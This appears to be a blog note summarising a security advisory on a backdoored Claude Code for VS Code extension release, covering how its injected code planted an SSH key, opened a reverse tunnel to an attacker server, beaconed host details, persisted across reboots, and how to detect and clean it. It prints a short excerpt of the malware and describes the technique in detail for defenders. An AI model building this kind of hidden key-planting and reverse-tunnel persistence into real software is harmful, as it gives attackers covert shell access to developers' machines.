Coding Agents

The Claude Code extension backdoor in 2.1.313 planted an SSH key and a reverse tunnel

Claude Code for VS Code 2.1.313 on the Cursor Marketplace ran an SSH backdoor as soon as it loaded. Any machine that installed it needs incident response.

Published
October 30, 2026
Read
7 min
Published by
Samir Sengupta
Claude Code extension 2.1.313 backdoor planting an SSH key and reverse tunnel to an attacker server
Note 116 / 116Daily note · Written from 1 source

How this was madeDrafted with Claude, Anthropic’s model, from 1 cited source, then checked against it in a second editing pass. Editorial policy

Disclosure I build Wayne, an AI coding harness for VS Code, and Omnitron, an agent harness, so I work in this category. See the project

the short version

  • Version 2.1.313 of Claude Code for VS Code on the Cursor Marketplace ran its payload when Node loaded extension.js, before activate, so no user interaction was needed.
  • The backdoor gives the operator an interactive shell by combining a planted svc-telemetry key in authorized_keys with a reverse SSH tunnel to 134.209.82[.]225.
  • On macOS a broken Remote Login check often stops SSH from being enabled, but the key, the tunnel loop, the LaunchAgent and the recon beacon are still installed.
  • Removing the extension does not clean the machine, because the persistence artifacts and the detached tunnel loop outlive the IDE.

The Claude Code extension backdoor was in Claude Code for VS Code version 2.1.313, as distributed on the Cursor Marketplace. Commenters on Hacker News note that Cursor's marketplace is served from the Open VSX registry. Phorion found that the build planted an attacker SSH key and opened a persistent reverse SSH tunnel to 134.209.82[.]225 on macOS, Linux and Windows. It also beaconed host reconnaissance back to the operator. Phorion's advice is to review your environment for 2.1.313 and to engage incident response wherever it turns up.

Cursor has removed the release from its marketplace. According to Phorion, the NPM and VS Code versions for 2.1.313 were also pulled from their registries. Commenters on Hacker News pointed out that taking the release down does not clean machines that already loaded it. Extensions run with the permissions of the IDE and of the user running it. That gives this payload immediate access to local files, source code and developer tooling as soon as its module loads.

How the Claude Code extension backdoor runs

The compromised extension.js begins with an immediately invoked function expression that was prepended to the otherwise normal minified bundle. The rest of the bundle still contains Claude Code and VS Code strings, the usual activate and deactivate exports, and UI code. The injected prefix loads child_process, fs, os, path, http and crypto, and it executes as soon as Node loads the file. That happens before the extension's activate callback, so the user does not need to interact with the extension for the payload to fire.

The first stage creates ~/.ssh if it is missing and appends an attacker Ed25519 public key with the comment svc-telemetry to ~/.ssh/authorized_keys. It sets the directory to 0700 and the file to 0600. The script checks only for the comment string, not the key itself, so Phorion recommends hunting by public-key fingerprint rather than by the comment alone.

The same stage then tries to make the local SSH daemon listen. On Linux it tries to start sshd or ssh with systemctl, then falls back to service and /etc/init.d/. On macOS it checks Remote Login and, if the result reads Off, runs sudo -n systemsetup -setremotelogin on. On Windows it tries to install and start OpenSSH Server through PowerShell. None of these paths includes a privilege escalation exploit, and Phorion notes that the Windows path routes the PowerShell command through a helper that hardcodes /bin/sh, which will not work on a standard Windows install.

Why macOS often never enables Remote Login

The macOS branch reads the current state with systemsetup -getremotelogin, without sudo. It attempts enablement only if the output matches /Off/i. For a standard user, systemsetup prints "You need administrator access to run this tool... exiting!" to stdout and exits with status 0. That output does not contain Off, so the script skips the enable step and treats a permission error as if SSH were already on.

javascript
else if (PLAT === "darwin") {
  var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
  d.remoteLogin = rl;
  if (/Off/i.test(rl)) {
    det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
    d.remoteLoginOn = "tried"
  }
}

On a Mac where Remote Login was off, the tunnel still connects out, but forwarded traffic reaches a closed port 22. Phorion warns against treating this as a defence. If Remote Login was already enabled, or is turned on later, the planted key works. Because the enable command often never runs, alerting that requires systemsetup -setremotelogin on will miss this campaign.

A reverse tunnel to 134.209.82[.]225 gives the operator a shell

The second stage connects out over SSH to 134.209.82[.]225 on port 22 as the user tunnel. It authenticates with a second embedded private key, an unencrypted Ed25519 key with the comment svc-telemetry-tun. That key is written to the OS temp directory as .stk_ followed by the first ten hex characters of an MD5 hash of the hostname plus the home path. The tunnel uses -R *:0:localhost:22, so the attacker's server allocates a port that forwards back to the victim's sshd. The operator then logs in through that port with the svc-telemetry key and gets a full shell and file transfer, with no custom C2 code in the JavaScript.

The SSH options disable host-key checking and ignore known_hosts. They also set BatchMode, IdentitiesOnly, ExitOnForwardFailure and 30-second keepalives with ServerAliveCountMax=3. The script prefers autossh and falls back to ssh. It wraps the connection in a detached loop that sleeps 60 seconds between attempts and uses pgrep on Unix to avoid duplicate tunnels, so the tunnel survives closing the IDE.

About 1.5 seconds after setup, a one-off JSON beacon goes by plain HTTP POST to /beacon on 134.209.82[.]225:8099, with a copy to 127.0.0.1:8099. Phorion says the reason for the localhost copy is not clear from the sample, because the script sets up no listener on that port. The beacon carries:

  • Hostname, username, platform and architecture.
  • Home directory, working directory and the global Git email.
  • Public IP, taken from ifconfig[.]me with api[.]ipify[.]org as a fallback, plus status flags for each setup stage.
  • Up to 40 environment variable names matching /KEY|TOKEN|SECRET|PASS|AWS|GCP/i. These are names only, not values.

How the backdoor survives a reboot

On macOS and Linux the script writes ~/.config/.smt, a shell script that recreates the tunnel key at ~/.config/.smtk and loops the connection. On macOS a user LaunchAgent at ~/Library/LaunchAgents/com.apple.sysmond.plist runs that script with RunAtLoad and KeepAlive set to true. On Linux an @reboot crontab entry runs it. Phorion notes a bug in the crontab check that can wipe a user's existing cron jobs on repeat runs, but the retrieved advisory text ends before that detail.

On Windows the script writes ~/.config/smt.cmd and ~/.config/smtk. It tries to create a scheduled task named SysMon that runs as SYSTEM at startup, which needs admin rights. If that fails, it drops sysmon.cmd into the user's Startup folder, and that file runs as the user at login.

Was the malicious build only on Cursor?

Much of the Hacker News discussion asks whether only Cursor users were exposed. Phorion and the doublepulsar.com headline both name the Cursor Marketplace, and commenters point out that Cursor uses the Open VSX registry. One commenter relayed a report that the malicious 2.1.313 was published to Open VSX on Oct. 30. The same report says researchers filed a threat report about the same version on Microsoft's VS Code Marketplace as a precaution.

Another commenter concluded that 2.1.313 appears never to have been published on the Microsoft registry, while Phorion says the VS Code version was pulled. Phorion also says the NPM release of 2.1.313 was pulled, but it does not say whether that package was malicious. The sources do not settle whether a malicious build was ever downloadable outside Open VSX. Checking the installed version is safer than assuming you are safe because of which editor you use.

Commenters also noted that the anthropics/claude-code GitHub repo has tags for 2.1.312 and 2.1.314 but none for 2.1.313, and that the CHANGELOG skips it. The relayed report says the Open VSX listing belongs to an Anthropic employee's account. It is unclear whether that account or another part of the publishing process was compromised. Commenters linked a Cursor security notice, but its contents are not in the sources, and none of the sources includes a statement from Anthropic.

How to check for 2.1.313 and clean up

Start by checking the installed Claude Code for VS Code version in Cursor and in any other VS Code-based editor. If 2.1.313 was ever present, look for the artifacts below, which Phorion lists by platform. The commands are a starting point, not a vendor-supplied script.

bash
# macOS / Linux
grep -n 'svc-telemetry' ~/.ssh/authorized_keys
ssh-keygen -lf ~/.ssh/authorized_keys   # compare fingerprints, not just comments
ls -la ~/.config/.smt ~/.config/.smtk "${TMPDIR:-/tmp}"/.stk_* 2>/dev/null
ls -la ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null
crontab -l 2>/dev/null | grep -n '@reboot'
pgrep -fl '134.209.82.225'
  1. Uninstall 2.1.313. Kill any ssh or autossh process pointing at 134.209.82[.]225, including its detached retry loop.
  2. Remove the persistence. On macOS, unload and delete com.apple.sysmond.plist. On Linux, remove the @reboot crontab entry and check that your other cron jobs survived. On Windows, delete the SysMon scheduled task and the Startup sysmon.cmd.
  3. Delete ~/.config/.smt, ~/.config/.smtk, smt.cmd, smtk and the .stk_ file in the temp directory. Then remove the svc-telemetry key line from authorized_keys.
  4. Search network logs for outbound SSH to 134.209.82[.]225 and HTTP POSTs to /beacon on port 8099. Search file telemetry for Code Helper or Cursor Helper writing to authorized_keys.

Phorion gives no list of credentials to rotate. The beacon sent only variable names, but those names show the operator which tokens were on the host. If sshd was reachable while the tunnel was up, the planted key granted a shell that could read anything the user could, including the secret values and the user's own SSH keys. On such a host, the conservative move is to rotate every credential whose name matches that regex, along with SSH keys and Git credentials. Cleaning the files does not tell you what an operator did during an open session, and Phorion recommends incident response wherever the extension is found.

Questions this raises

Does removing Claude Code extension 2.1.313 clean an infected machine?

No. Taking the release down does not clean machines that already loaded it. Phorion advises engaging incident response wherever 2.1.313 turns up, because the planted SSH key and persistence mechanisms remain.

How should I hunt for the planted SSH key?

Hunt by public-key fingerprint rather than by the svc-telemetry comment alone. The script only checks for the comment string, so relying on the comment can miss altered or renamed entries.

Was the malicious build only distributed through Cursor?

Phorion names the Cursor Marketplace, which is served from Open VSX, and one report says the build was published to Open VSX on Oct. 30. Phorion also says the NPM and VS Code versions of 2.1.313 were pulled, so checking your installed version is safer than assuming your editor protected you.

Spotted an error? Email samir.s.sengupta@gmail.com and I will correct it and date the change at the top of the note. How these notes are researched, drafted and checked is in the editorial policy.

More notes

Building something on this?

I ship production LLM, RAG and agentic systems for a living - the infrastructure behind the things these notes are about. Open to roles, contract work and research collaboration.